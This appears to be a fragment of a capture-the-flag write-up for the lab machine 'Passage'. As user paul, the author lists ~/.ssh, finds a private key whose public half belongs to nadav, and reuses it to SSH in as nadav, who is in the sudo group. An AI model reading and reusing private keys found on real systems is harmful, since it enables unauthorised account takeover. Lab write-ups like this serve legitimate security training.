4 box enum paul
paul@passage:~$ sudo -l
[sudo] password for paul:
Sorry, user paul may not run sudo on passage.
paul@passage:~/.ssh$ ls -la
total 24
drwxr-xr-x 2 paul paul 4096 Jul 21 2020 .
drwxr-x--- 16 paul paul 4096 Feb 5 2021 ..
-rw-r--r-- 1 paul paul 395 Jul 21 2020 authorized_keys
-rw------- 1 paul paul 1679 Jul 21 2020 id_rsa
-rw-r--r-- 1 paul paul 395 Jul 21 2020 id_rsa.pub
-rw-r--r-- 1 paul paul 1312 Jul 21 2020 known_hosts
# id_rsa.pub is for nadav@passage
# we can try id_rsa for him
$ ssh -i nadav_id_rsa nadav@10.10.10.206
nadav@passage:~$ whoami;id
nadav
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
Last updated